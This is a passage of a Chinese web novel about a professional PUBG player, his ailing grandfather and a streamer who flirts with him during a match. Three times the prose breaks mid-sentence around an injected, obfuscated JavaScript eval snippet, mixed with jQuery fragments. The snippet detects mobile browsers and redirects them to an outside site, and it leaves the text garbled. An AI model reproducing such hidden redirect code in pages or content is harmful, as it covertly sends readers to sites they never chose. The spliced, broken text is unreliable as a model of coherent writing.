他甚至试图弯下嘴角,想扯出一个轻松的笑,但眼皮的沉重和太阳穴隐隐的胀痛让这个笑容显得有些勉强。 老人家下午落地后被阿杜接到酒店,怕他们俩无聊,阿杜还特意请食堂王阿姨过来陪着说话。 两天高强度比赛积攒的疲惫在此时一起找上了门,虽然比赛已经告一段落,但一闭上眼,密集的枪声、爆炸的轰鸣、队友急促的指令,如同幻听般还在他脑海里反复冲撞,恍惚间以为自己处在游戏里。 “哪能不累,这都快晚上两点了,你才结束。”老人叹了口气:“铁打的身子也经不住这么熬。” 另一张床上隐隐传来鼾声,裴颂把剩下的小半块柿饼塞进嘴里,起身,走到奶奶身旁蹲下:“所以你们俩不要再干地里的活了,我给你们的钱要舍得花。就算不愿意去城里住,在老家住着也好,地里活就给二叔嘛。” “还不是你爷爷闲不住。”裴奶奶拉着他的手,语气里没有责备,只有担忧:“不想让你太累,还有我们呢。” 裴奶奶脸上的笑僵了一瞬,但裴颂太累了,没关注到这个小插曲。 “不管怎么样,我们两个老家伙都会挡在你前头。” 裴颂被奶奶这番豪言壮语逗笑了:“快些睡下吧,明天早上我带爷爷去医院检查,你就在酒店待着。” 。 周日晚上为追比赛熬了个大夜,周一一早的秦南枝睡得那叫一个昏天黑地日月无光,直到下午两点才被窗外明晃晃的阳光刺得勉强掀开一条眼缝。 她迷糊着眼,像个软体动物般在床上蠕动,摸索找手机。手机电量就剩下3%,但还没仔细看消息,就被满屏密密麻麻的未接来电吓清醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889194|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了——全来自赵若月。 秦南枝一点不敢耽误,一个鲤鱼打挺从床上窜下来,插上充电线,立刻给赵若月回电话。 地球爆炸还是男明星塌房,让赵大小姐一大清早就夺命连环call? “怎么、怎么了,怎么回事啊?你给我打了快一百个电话!”太过着急,秦南枝说话都结巴了。 电话里赵若月哼哼唧唧了半晌才把话说清楚,不是什么大事,是她大清早还没出车库就追尾了,而她也在跟邻居据理力争的过程中把脚崴了。 “严重不?”秦南枝追问:“你在医院还是在家,我去看你?” “……医院呗。”赵若月声音闷闷的,“脚踝好像扭了,肿得跟发面馒头似的,医生非要我拍片子观察观察。” 一个小时后,秦南枝带着自家冰箱里搜刮出的甜品和水果杀到了医院。 “我感觉你……挺好的啊。”秦南枝围着病床左看右看,赵若月气色红润有光泽,跟她想象中的凄惨病号形象相距甚远。 赵若月捧着手机,中气十足地对电话那头交代工作,交代完才顾得上回答秦南枝:“你不懂,我这都是内伤,需要仔细观察的。” 秦南枝正纳闷呢,医生带着片子来查房了。 就在医生踏进门的瞬间,病床上的赵若月仿佛被按下了某个神秘开关! “哎哟哎哟,小胡医生,我头还有点晕。” 声音瞬间变得气若游丝,还带着一丝恰到好处的颤抖。 见识到赵若月瞬间变脸的绝技,秦南枝下巴都要掉地上了,再顺着赵若月眼神的方向看过去——还能有什么不明白。 赵若月撑着额头,一边维持着西子捧心的娇弱姿态,一边隐蔽地朝秦南枝使了个眼色:“小胡医生,我的脚踝严重吗?” “不严重。”男医生个子挺高,白大褂一穿身材笔挺,气宇轩昂,猛地一看侧脸还有点像平替柏原崇。 都学她找上平替老公了是吧?秦南枝背过身,冲她翻了个白眼。 小胡医生拿起片子,对着光仔细看了看:“脚踝的片子我看过了,软组织挫伤,小问题,只要好好静养,按时用药,恢复会很快的。” “至于头晕……”小胡医生飞快地扫了一眼赵若月:“可能是……惊吓和疲劳导致的,或许跟你没吃早饭也有关系,休息一下应该能缓解。” “哦,这样啊!谢谢小胡医生。”赵若月的声音依旧柔柔弱弱,眼神却像黏在了医生身上。 秦南枝缩在角落里,低头寻找地板中间有没有可以供她躲藏的缝隙。 “对了!枝枝,你家里人来接你了吧?” 秦南枝正把自己当成空气,不料赵若月话锋一转,矛头直指她,眼神里还带着威慑的光。 赵若月的眼神瞪得她后背发凉,生怕自己当了电灯泡。 秦南枝心里暗骂一句重色轻友的戏精,面上却扯出一个极其懂事的微笑:“哦哦哦,你一说我就想起来了,已经到停车场了,那我先走咯。” 她才懒得搭理赵若月撩男人,说完,她拎着自己带来的慰问品,像一阵风似的,昂首挺胸、头也不回地走出了病房, 临出门前,还不忘瞪回去,无声动了动口型:绝交! 当她拎着两个沉甸甸的零食袋子,气鼓鼓地从住院部大楼出来,刚走到门诊楼门前,就瞧见一白发苍苍的老爷爷在门口张望徘徊。 老人一只手扶着玻璃幕墙,另一只手在空中挥舞,保持着平衡,在往大门挪动的过程里,身子摇摇晃晃,像是站不稳。 这谁家长辈? 秦南枝皱了皱眉,家里小辈都是没良心的,居然放心让年纪这么大的长辈自己来看病! 不要紧,她今天就要伸张正义,惩治无良子孙。 14. 枝枝喳喳 眼看老人要摔倒,秦南枝加快脚步,冲上前将人扶住:“爷爷小心!——” 她小心翼翼地引导着,让老人在门诊楼一楼的等候区坐下休息。 医院有免费的花果茶,想了想,秦南枝还是只敢给老人打了杯热水。 “爷爷,水烫,慢点喝。” 秦南枝猜他应该是低血糖,自己揣了两袋子零食,却碍于老年人常见的慢性病太多,不敢贸然拿出来给他吃。 见老人喝完热水脸色恢复了些,秦南枝才继续问:“爷爷,你是血压不稳还是血糖问题啊?” 裴爷爷摇了摇手,喘着粗气:“谢谢闺女,我没事,老毛病了,歇歇就好。” 闺女,这称呼倒是稀奇。 秦南枝打的车还没到,又左等右等等不到老人的家属,于是她陪老人多坐了一会儿。 她打小就是个自来熟社牛,跟谁都能聊上几句,不一会儿就知道了老人孙子跟她年纪差不多,是在什么游戏公司上班,今天是孙子带他来检查。 得知老人有人照应,秦南枝便放心了。 “游戏开发!”她咂巴两下嘴,表示羡慕:“我朋友家里也是做这个的,现在这一行可赚钱了。” 老人闻言,脸上也挂上了小骄傲:“确实,小树从小就听话,很让我们放心。” 小舒还是小孙? 秦南枝听不太清楚,只好点点头,又恭维了几句,夸得老人皱巴巴的脸成了朵花。 app震动提示车马上就到,秦南枝起身前,把两个袋子一股脑儿塞到老人怀里:“爷爷,这都给您。” 这些零食她懒得再提回家,反正也不是什么名贵的东西,干脆全送人得了。 裴爷爷被她的大方弄得一愣,连忙推拒,用手挡着袋子:“哎哟,这可使不得!闺女,你自己留着。” “爷爷,你别推辞了。”秦南枝被赵若月气得无名火还没消下去,眼珠子转了转:“反正我朋友现在是喝点空气就能活,我才不想给她吃呢!” 不等老人再次拒绝,秦南枝朝老人挥挥手,脚步轻快地融入了门诊大厅的人流里:“爷爷,我等的车来了,我先走了。” “陌生人给的?”两袋子零食顺理成章到了裴颂手上,他左手提着袋子,右手搀扶着爷爷。 他垂眸扫了眼包装袋:“不像是店里买的,连个生产日期都没有,扔了吧,别吃了。” “哎!败家玩意!” 裴爷爷一个务农为生的人,最听不得任何浪费粮食的话,他一巴掌拍在裴颂后腰上,巴掌虎虎生风,一点也看不出方才头晕、直不起腰的样子。 “那个小闺女说了,这些甜……甜点心都是她自己做的,她朋友吃不了。”裴爷爷伸手摸出一个包装盒:“扔了多可惜,你看看做的多好看,看着就好吃!” 裴颂心里揣着别的事,也没跟爷爷再争论来路不明的零食,到时候拿走扔了就是。 他漫不经心哼了一声,搀扶老人走出医院,上了路边的车。 返回基地的路况不好,电车刹车太猛,一路上停停走走,晃得人难受,路边的人和景犹如卡顿的老式碟片,不停在他眼前闪回。 作为能连续打十几个小时PUBG的职业选手,裴颂居然觉得自己有点晕车。 裴颂揉了揉太阳穴,从包侧面拿了瓶水,拧开喝了一口。 检查结果就在他书包里放着,几张纸而已,却让他感觉沉甸甸的。 指标不错,比手术前好了不少,说明身体正在慢慢恢复。 裴颂还未来得及松口气,医生得知爷爷是在黄主任那里进行手术后,极力建议他再拿着报告单去安和看看。黄主任是行业大拿,他对于数值的判断或许有不一样的看法。 他是不是做错了?裴颂不停问自己。 其实一开始就应该请求赵哥帮助,给爷爷挂黄主任的号,是不是就不会有后面这些问题了? 一个接一个问题像藤蔓一样缠绕上来,勒得他喘不过气。 比赛期间,PUBG分部所有人门禁卡都被收走了,今天这半天假还是陈令飞网开一面,像做贼一样安排他从基地后院小门溜出来,临走前还再三叮嘱他快去快回,别让任何人知道。 要托关系挂号,要请假,要比赛……这些问题就像几块摇摇欲坠的大石头,如影随形跟着他,在他头顶转悠。 他眼神逐渐放空,窗外接连闪过的绿树不在他眼底停留。 “尝尝!” 恍惚间,嘴边挨着了一块凉凉的东西,裴颂下意识别开头拒绝。 “什么东西?” 裴爷爷举着块黄澄澄的小点心,正往他嘴里塞,脸上挂着得意劲儿:“是不是晕车了,快尝尝,这个闻着有点酸,吃两口就能把恶心劲儿压下去。” 裴颂接过点心,没解释自己并不是晕车。 酥皮捏在手里,指尖不敢使劲就扑簌簌掉渣,落在深色的裤子上格外显眼。黄色的内馅混杂着浓郁的奶香和柠檬的清新香酸,表面还撒了些绿色果皮碎屑。 那酸香像根细针,轻轻刺了一下他混沌的神经。 裴颂喉结滚了一下。 不足掌心大小的一块点心,两口下肚。 酥皮在舌尖化开,酸甜恰到好处达到了平衡,而那些绿色的碎屑是柠檬的皮,嚼起来带着点微苦的回甘。 柠檬的香气在口腔四处冲撞,带着微苦的清爽感直通大脑,裴颂低下头,盯着裤子表面落下的点点酥皮,舔了下嘴唇,有点意犹未尽。 “不错吧?”裴爷爷看他吃了,笑眯眯地问:“那闺女不光心眼好,长得也俊,跟电视里的女明星似的!” 听到爷爷这夸张的形容,裴颂忍不住扯了下嘴角,露出一丝极淡的笑意。 爷爷的眼光向来不同常人,陈令飞那种黑得跟块碳似的,他都能睁着眼说人像古天乐。 电车依旧在缓慢前行,裴颂没再说话。 他默默地把装着点心的袋子塞进了自己脚边的背包深处,检查报告还静静地躺在那里。 挂号、请假、比赛的压力依然沉重,但口腔里残留的那抹清新酸甜,似乎将他一潭死水般的生活短暂地划开了一道口子。 。 秦南枝忙活了一白天,全靠对赵若月的恨意支撑,一口水没喝也不觉得饿。 都怪赵若月把她当傻子遛!她恶狠狠嚼着金枪鱼刺身,仿佛这是刚从那个见色忘友的女人身上剐下来的肉。 吃完晚饭,秦南枝六点半准时准点打开游戏,开始直播。 赵若月,受死吧! 开局不久,秦南枝就在P城边缘遭遇两人单排组队。 凭借着对赵若月这个女人的恨意,秦南枝这一局枪法如神,一上来就靠一把SCAR收割了两个人头。 “Nice!”秦南枝自己都忍不住低吼了一声,她都不用猜,弹幕肯定把她夸得天上有地上无。 【卧槽!泡芙姐今天吃挂了?开局双杀?】 【Zero1跪下吧,我泡芙姐今天要登基了!泡芙王朝!】 【已录屏,等泡芙姐进军职业赛场的那天,我就是元老级粉,泡芙姐别忘了练签名!】 【练10天就能拿2个人头,练100天不就是20个人头?照这个速度,KDA破百指日可待!(狗头)】 看着满屏彩虹屁,秦南枝努力绷着脸,但嘴角还是不受控制地疯狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892096|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上扬,几乎要咧到耳根。 她清了清嗓子,故作深沉地对着麦克风说:“淡定淡定,常规操作,我会一直进步的。” 然而,还没得瑟两秒钟,一声枪响毫无预兆在耳机里炸开。 秦南枝吓得瑟缩一下,鼠标乱飞,视角不知道飘到了哪,但屏幕已经变成灰白色,意味着她凉了。 看着屏幕上的击杀提示,原本上扬的嘴角瞬间耷拉下来。 在这一秒的沉寂之后,早已按捺不住的黑子和乐子人立马露头: 【低分局炸鱼也翻车,电竞媛别硬蹭。】 【请你不要到处蹭蹭~】 【泡芙妹妹装杯失败现场,有请恩师Zero1上来说两句!】 秦南枝看着弹幕,脸上青一阵红一阵,硬着头皮又开了一把。 毫无疑问,这把继续送快递。 短短半个小时,秦南枝已经结束了三局比赛,击杀人数还停留在那个可怜的“2”上。 她深吸一口气,咬着牙播完了预定时长,关掉直播的那一刻,立即换上另一个高分账号。 低分局玩家打得太阴,猥琐操作对她练枪毫无帮助,她要光明正大跟人对枪! 另一边,裴颂把爷爷送回酒店后,借口比赛结束带他们玩一圈,又续了一个星期的房费,把老两口心疼得靠在床头直哎呦。 他安慰两句后回了基地,跟陈令飞打过招呼,便去了训练室。 其他人正在跟别队自定义组局,果汁冲他挑了下眉,意思是要不要换人。 裴颂摇摇头,转头自己开了一局。 他看了眼屏幕右下角的时间,差几分钟晚上八点,今天工作日,赵哥要接孩子辅导作业,等九点后再联系也来得及。 游戏开始,他单人四排找手感。 在港口仓库清了一队后,他打开高倍镜,发现了不远处山坡上有个人机倒退着走路。 真人玩家不够的情况下,系统放出人机账号增加玩家游戏体验不是稀罕事,但这人机做的也太不走心了。 裴颂觉得奇怪,肌肉记忆让他在看见人的一瞬开了枪。 恰逢此时安全区刷新,那个盒子在他必经之路上,不舔白不舔。 裴颂找了艘船,往对岸山坡靠近。 听见耳机里“砰”的一声枪响时,正埋头跟不小心洒了奶茶后按键黏糊糊的键盘作斗争的秦南枝,整个身子顿时僵硬。 不是吧,又来? 这都第几回了?低分局被阴,高分局开局就被秒! “草”在嘴边已经冒出“艹”字头了。 秦南枝把手中纸巾一扔,猛地抬头,那句酝酿好的问候几乎要冲破嗓子眼儿。 然而,在看到ID的那一秒,她死命收住了跟这人全家户口本打招呼的冲动。 【foglia使用SKS淘汰littlezz】 秦南枝攥了攥拳头,脸上的喜悦比第一次做热玛吉恢复后更强烈。 老公,我终于等到你了! 在死亡后有限的视野里,送她离开游戏的foglia正迈着沉稳的步伐,从山坡上不紧不慢地朝盒子走来,看样子是准备舔包。 机会!千载难逢的机会! 她赶紧将语音打开,话筒调到最大,停下了手上一切的动作,静候平替老公走入她精心设置好的圈套。 近了,更近了…… 灰暗的视野中,那个穿着游戏默认服装、光着脚的角色走到了她的盒子旁边,蹲了下来。 就是现在! 秦南枝调动起毕生演技,用生平最温柔的声线开口了—— “哥哥好巧呀,又遇见了,要不要一起打游戏?” 15. 枝枝喳喳 裴颂身上一把AK一把SKS,子弹剩的不多,看到这人也拿AK,想着过来捡些子弹。 他按下快捷键,游戏角色蹲下身,开始翻检对方的背包。 背包里,赫然躺着整整齐齐的200发5.56子弹,让他几乎怀疑是不是自己眼花看错了? 难道不是人机,是个玩家?毕竟人机可干不出这么离谱的操作。 裴颂腹诽一句,捡了止疼药准备起身离开,就在这时,耳机里猝不及防传来一声呼唤。 “哥哥好巧呀,又遇见了,要不要一起打游戏?” 女孩声音轻轻软软,带着一种近乎小心翼翼的试探,在游戏中突兀得如同在摇滚音乐节现场插播了一段儿歌。 这游戏里还有乱认亲戚的?裴颂下意识觉得是队友的恶作剧,他抬起头,扫了眼训练室。 果汁和小艾正在为一个失误争吵,Seven的屏幕上是开车的镜头,唯一一个早早被淘汰的十一在啃汉堡。 所有人都安安稳稳在位置上坐着,毫无异常。 不是队友。 裴颂排除了内部恶作剧的可能,但并不代表他对这群人完全放心,这几个人背地里怎么整小艾,就有可能用同样的法子搞他。 而且“哥哥”两个字指向性太明显,按女生的口气,显然是认识他的。 短短几秒,无数念头在裴颂脑中飞速闪过,他习惯性地抿紧唇线,眉头微蹙。 在按下T键一瞬,裴颂心里已经有了主意。 “你谁?” 声音通过麦克风清晰地传了出去,带着他惯有的、没什么温度的平静,甚至能听出一丝不易察觉的戒备和被打扰的不耐。 听着耳机里很不爽的语气,秦南枝非但没有觉得被冒犯,反而感觉一股奇怪的舒爽直冲天灵盖。 就是这个味!这才对!还得是平替老公啊! 那些只会“姐姐姐姐”叫个不停的小男孩怎么能跟老公相提并论? 不行不行,太激动了! 秦南枝生怕自己一个没忍住,对着麦克风笑出猪叫,赶紧伸出两根手指,猛捏大腿肉,腿上的痛觉成功把她从迷妹状态切换到绿茶模式。 她深吸一口气,再缓缓吐出,酝酿好情绪,用一种混合两分幽怨、三分委屈、五分矫揉造作的腔调,对着话筒埋怨:“我……之前加哥哥了,刚开口你就把我删了。” 她在“删了”两个字上故意停顿,尾音拖得长长的,语气恶心到能把自己激起一身鸡皮疙瘩。 裴颂想起来了,那些莫名其妙的礼物应该跟她脱不了关系。 耳麦里沉寂两秒,依然是漫不经心的调调吐出两个字。 “有事?” 秦南枝都想翻白眼了,要是没事,她浪费口水说这么半天是为了什么? 想骂人,但人设不能塌。 “没有事……就是想跟你一起打游戏,不行吗?” “不行。”裴颂冷漠回绝。 “为什么呀?”秦南枝吸了吸鼻子,声音低了下去,带着浓浓的失落和仿佛快要哭出来的鼻音:“我心里哥哥就是最厉害的,我要是能跟你学习就好了。哥哥,能不能带我玩一局呀,我真的好菜。” 菜?看出来了。裴颂在心里默默回答。 他其实可以直接结束游戏的,但不知道为什么,女孩在游戏里的举动总让他想到今天那些来路不明的甜品。 仅凭一场游戏就锲而不舍蹲守他的女孩,和医院门口刚认识就给爷爷塞甜品的女孩,身上都带着股横冲直撞的莽劲儿。 凡尘规则、俗世框架,在她们面前都抵过不过“乐意”二字。 甜品刚拿回基地,两袋东西就被队友分了个七七八八,只留了两块马卡龙和几粒泡芙给他。 此刻,女孩的恳求裹着电流声传来,莫名勾起他舌尖残留的甜味。 一局游戏长则半个小时,短则几分钟,都不够十一去厕所摸鱼。 裴颂喉头一梗,拒绝的话怎么也说不出口了。 对面安静了太久,久到秦南枝都不抱希望准备退出游戏了。 突然,耳机里响起一阵很轻的摩擦声。紧接着,秦南枝听到了世间最美妙的声音。 “……就一局。” 添加好友,组队,等待游戏,一气呵成。 看着广场上并排站立的两个人,秦南枝觉得一切顺利得简直像梦一样。 在此期间,她拼命找话题拉好感,试图缩短两人间的距离,这种天赐良机,绝不能让场面尴尬下来。 而裴颂的反应,只能用四个字来形容——不冷不热。 “哥哥你这么厉害,怎么不去打职业啊?” 裴颂思绪飘远了一瞬,总觉得在哪听过这个问题,但想不起来了。 这个问题再一次被提起,不回答问题显得没礼貌,回答问题……他并不想跟陌生人牵扯太多,干脆给了个模棱两可的答案。 “工作忙。” “哦哦哦,这样呀。” 秦南枝抠了两下鼠标垫,听他声音还挺年轻的,以为还在上学,原来都工作了。 可能工作还不错吧,只是把游戏当成调节生活的方式。 毕竟电竞选手大多数都是吃青春饭,退役后能继续火下去的都是凤毛麟角,有份安稳的工作也不错。 秦南枝再接再厉,又抛出几个无关痛痒的问题。对方的回答不是一个字,就是两个字往外蹦。 听得出他兴趣缺缺,秦南枝也不失落。 感情是要慢慢培养的,上来就热络,平替老公跟那些小男孩又有什么区别。 高岭之花才更想让人把它折下。 秦南枝安慰好自己,换了个听起来更正经的话题。 “那你用什么外设呀,我现在这套鼠标键盘不是很好用,压枪总是压不住。” “确定是鼠标的问题?” 对方语气太冷静,秦南枝一时没反应过来,她脑子里还在飞速组织语言,准备解释自己的外设并不是用来打游戏的。 后知后觉反应过来之后,她心里偷偷笑了笑。 都会跟她开玩笑了,下一步是不是直接收她当关门弟子,把全身绝学教给她? 她立刻打蛇随棍上,声音愈发甜腻:“哥哥,你好讨厌。” 纵使裴颂再冷静,也被这一口一个嗲里嗲气的“哥哥”喊得有些招架不住。 他几乎是有些仓促地回答,试图用具体信息堵住对方继续撒娇的可能:“我用的ROG。” 跟小艾他们的定制化键鼠不一样,他用ROG只是因为ROG是赞助商。 “这个我听过。”秦南枝兴冲冲接话,终于让她找到了个能继续聊下去的话题。 “还有……”裴颂顿了顿,决定必须解决那个让他心神不宁的称呼源头,同时也在思考,该让她怎么称呼自己。 直接说闭嘴?太生硬。 说正常点?好像也没用。 难道要说叫我ID?感觉更奇怪……他自己都不清楚foglia在意大利语中的正确发音。 裴颂难得地在游戏之外感到了些许棘手,眉头又不自觉地拧起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902219|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算了,裴颂摇了下头,跟一个陌生人废话这么多干什么?反正只是一局游戏。 他直截了当下了命令:“别叫哥哥了。” 等的就是你这句! 秦南枝心里的小恶魔欢呼雀跃,激动得差点从椅子上蹦起来。 七七糖网恋宝典杀招之一——抓住一切机会搞暧昧! 倒计时结束,伴随着飞机起飞的轰鸣声,那个让他头疼的声音,用一种轻飘飘的、带着点无辜好奇的语调,清晰传入他的脑海。 “不叫哥哥呀……”她犹豫着回答,好似真的在思考一个天大的难题。 不等裴颂松一口气,这位语不惊人死不休的小姐姐给了另一个堪比地球爆炸的选项: “那我要叫你什么呀?总不能……叫老公吧?” “咳——”裴颂被自己口水呛住,猛地咳嗽起来。 一股无法忽视的热浪往上蹿,瞬间从脖子根“腾”地一下烧到了耳尖,连带着握着鼠标的掌心都开始发烫。 他深吸一口气,试图压下这阵燥热,却感觉空气都变得稀薄滚烫起来,训练室里明明开着空调,脸颊温度依旧不停飙升。 以往不是没遇见过粉丝喊老公,不仅女粉,有些男粉也会故意调侃。 但从来不像现在这样。 耳机音质极佳,声音没有一点损耗。那感觉太真实了,真实得仿佛有人就贴着他的耳廓在低语。 他甚至能脑补出对方说话时的语气,仿佛温热的吐息轻轻拂过耳后最敏感的皮肤 裴颂的身体控制不住地抖了一下。 不是冷的,而是被过于强烈的、难以名状的刺激,激起了生理性战栗。 那个将他推入这种混乱境地的始作俑者,还在用那股天真的语气,不停呼唤他: “哥哥?我还是觉得哥哥好听嗳!” “叫老公也可以呀,你喜欢我怎么喊你?” “好不公平,为什么每次都是我叫你,我命令你现在开始叫我宝宝。” 一声重物落地的沉闷巨响,像块石头砸在训练室的地板上,打断了裴颂的思绪。 他赶紧摘下耳机,随手往桌上一扔,甚至顾不上看游戏角色此刻正从飞机上降落到哪个鸟不拉屎的角落。 所有注意力从游戏抽离,投向噪音的源头。 “我靠,他妈的能不能修修空调?”陈令飞踏着沉重的步伐走进训练室,T恤前胸后背汗湿了一大片,脸色黑得像锅底。 他边走边骂:“老太太喘气都比这风大,你瞧瞧,裴颂脸红的,都快把人热中暑了!” “行了行了,我再找人看看。”阿杜说着,眼疾手快把小艾跟果汁桌子上充作烟灰缸的红牛瓶收了起来,又猛给两人使眼色。 陈令飞没理会这些小动作,扯来凳子,气势汹汹在屋子中央坐下:“都别打了,手头活儿全给我停了,开会。” 果汁和小艾瞬间噤声,互相瞪了一眼后悻悻然退出了各自的游戏;Seven默默把车停到二层小楼车库里,伪装成无事发生。 连正啃汉堡啃得满嘴流油的十一,也赶紧把剩下半个汉堡往包装纸里一塞,腮帮子鼓鼓囊囊地正襟危坐。 整个训练室瞬间陷入一种诡异的安静,只剩下电脑风扇的嗡鸣和陈令飞粗重的喘息。 助教拿着几张宣传页,挨个分发给每个人,从裴颂身边经过时,不经意间瞥了眼他的游戏页面。 他停在裴颂身前,眨了眨眼,以为自己看错了。 “诶?Song,你怎么在跟人双排啊?” 16. 枝枝喳喳 时间仿佛凝固了。 果汁和小艾忘了刚才的争执,两双眼睛瞪得像铜铃,齐刷刷地钉在裴颂身上。 Seven缓缓转过头,脸上罕见地裂开了一丝缝隙。 “唔?唔唔唔?”十一更是惊得差点被嘴里的汉堡噎住,含糊不清发出几个急促的音节,同时奋力咀嚼,手舞足蹈比划着,让人瞧着都替他费劲。 阿杜手里还没藏好的红牛烟灰缸“哐啷”一声掉在地上,烟蒂撒了一地。 什么训练室禁烟!什么陈令飞死亡凝视!都给他滚一边去! 裴颂带妹?阿杜大脑宕机了,这是他家最乖的孩子,怎么也染上带妹的坏毛病了? 近朱者赤近墨者黑,不分一二三,阿杜先给网恋二人组甩了几个眼刀。 裴颂肯定是被他们俩给带坏的! 阿杜突然变脸搞得十一和小艾云里雾里,搞不明白裴颂带妹跟他俩有啥关系。 几人视线重新回到裴颂身上。 他像个局外人坐在凳子上,肩膀微微塌着,很是悠闲自在。 “小裴……”阿杜活像撞见相恋多年的老公出轨,痛心疾首说不出话,胖乎乎的手指头在空中戳了半天空气,嗫嚅半晌才吐出一句:“你变了!” “都闭嘴吧!”陈令飞骂道,随后冲裴颂吼了声:“你自己说!” 裴颂没有立刻回答,略显疲惫地、慢条斯理地抬起了右手,轻轻揉了下眼角。 动作极其自然,但手掌的角度恰好挡住了大半张脸的表情。 “点错了。” 三个字轻飘飘的,没有任何情绪起伏,就把这件事抹过去了。 小艾傻眼,他被前女友挂网上的时候可没见陈令飞这么和颜悦色跟他说话! 这就是嫡庶之分?这就是亲生的和收养的区别? “这不就行了?”陈令飞冷眼扫过整间屋子:“一个个能不能让我省省心?我再重申一遍,没规定不让你们谈恋爱,但都是大老爷们儿,给我要点脸!” “这次临时开会,是俱乐部高层知道了些季后赛的小道消息,NKG找了个韩援接Winter。”陈令飞平静地抛出一颗惊雷,瞬间让训练室的气氛紧绷起来。 此话一出,众人目光立刻从房间各处再次汇集到裴颂身上。 裴颂微垂的眼睫动了一下,缓缓抬起,带着一种仿佛没睡醒的倦怠,声音也懒洋洋的:“指挥?” 陈令飞:“一号位。” “不……”小艾第一个沉不住气:“现在来有什么用,大名单早报上去了,这一轮根本不能上场啊?” 裴颂和陈令飞的目光在空中短暂地接触了一下,彼此都读懂了对方的意思。 然后,两人几乎是同时移开了视线,没有任何人开口为小艾解释这个显而易见的战略意图。 林冬明年退役是板上钉钉的事情,现在引入外援就是让他在场下学习、融入体系,等林冬离开后立刻无缝衔接。 NKG的意图昭然若揭——他们瞄准的不仅是当下,更是明年的世界赛。 “那指挥呢?”十一的声音紧接着响起。 小孩脾气就是心里有什么想不通的,嘴上便直接问了。还嫌不够似的,又补充了一句:“一号位有什么稀奇,林冬走了,他们剩下那几个……也没什么好指挥啊?” 他的还没说完,旁边的果汁已经眼疾手快地把冰可乐的吸管直接戳到了十一嘴边。 “别问了,赶紧喝,你可乐要凉了。” 十一“啊”了一声,下意识吸了口,冰凉的感觉让他怔了一下,才含糊地反驳:“可乐……本来就是凉的啊?” 没人再出声。 会议结束前,陈令飞的视线在裴颂身上停留了几秒,裴颂也抬眼看向他。 两人谁都没说话,只是沉默地对视着。 NKG这出插曲扰乱了所有人的心神,还热乎的裴颂带妹立即被众人抛之脑后。 散会后,顺理成章成了休息时间,Seven去跟老婆打电话,其他几人抽烟放水。 裴颂坐在自己电脑前发呆,直到耳机里微弱的动静打断了他的放空。 。 秦南枝看foglia一上飞机就不说话,还以为他掉线了。 到了航线尽头,航班上掉线的、准备打拳击的全部自由落体。 秦南枝绕着队友上演了一出秦王绕柱走,最后成功被敌人打成了两个盒子。 退出游戏后,游戏大厅里队伍状态还没解除,她喊了几声也没听见任何回应。 真是掉线了? PUBG服务器不稳定的问题由来已久,秦南枝只能一边逛着交易平台,一边等foglia重新上线。 期间,七七糖来了个电话,要为黄主任的事情请她吃饭。 “不麻烦不麻烦。”秦南枝习惯性客套两句:“举手之劳嘛,你要真想感谢我,不如再给我找两个枪神带我玩游戏?” 七七糖答应得痛快:“别说枪神了,我让我表哥努努力,把Song给你挖来。” “说定了!”秦南枝哈哈笑着:“你要是能做到,别说黄主任的号了,你就是要在安和医院里头开家烧烤店,我也帮你想办法。” 挂了电话,秦南枝继续逛商城,最近新出了件女团联名款校服裙,她一眼就相中了。 正当秦南枝沉浸在赛博购物中时,耳机那头响起了沉寂许久的声音。 裴颂挣扎一番后,问道:“你认识安和医院的黄主任?黄为民?” “诶?”秦南枝被耳机里传出的声音惊得手一抖,差点点错了商品。她扶了扶耳机,自言自语:“我声音没关啊……” 在听到秦南枝讲私人电话时,裴颂应该第一时间摘掉耳机或关掉语音。 但“黄主任”和“安和医院”这两个字眼实在太让人心动,他不得不做一次小人。 秦南枝快速回想了一下和七七糖的通话内容,确认没有泄露重要信息,才松了口气。 “对啊。”她反问:“你要挂黄主任的号吗?” “嗯。”裴颂的回答几乎是立刻响起:“如果可以的话,能麻烦你挂最近的号吗?我……朋友家长辈身体不舒服。” 无中生友是吧? “可以是可以……”秦南枝语气犹豫,故意卖了个关子。 对她来说,挂号不过是举手之劳,真正的难点在于,该让平替老公拿什么来交换呢? 她松开鼠标,手肘撑在桌面上,双手捧着脸颊,开始细细盘算。 100天游戏集训?还是干脆拿这次机会要挟他代打?以她的判断,平替老公出马,Zero1只有跪地求饶的份。 秦南枝心里的天平疯狂摇摆,怎么办,感觉都想要啊! 仿佛洞穿了她的心思,耳机里再次传来裴颂清冽的声音:“要不……我带你打游戏?” 裴颂在电话里听到了她和朋友的对话,纵使这位littlezz技术不行,但对这个游戏的热忱,是做不得假的。 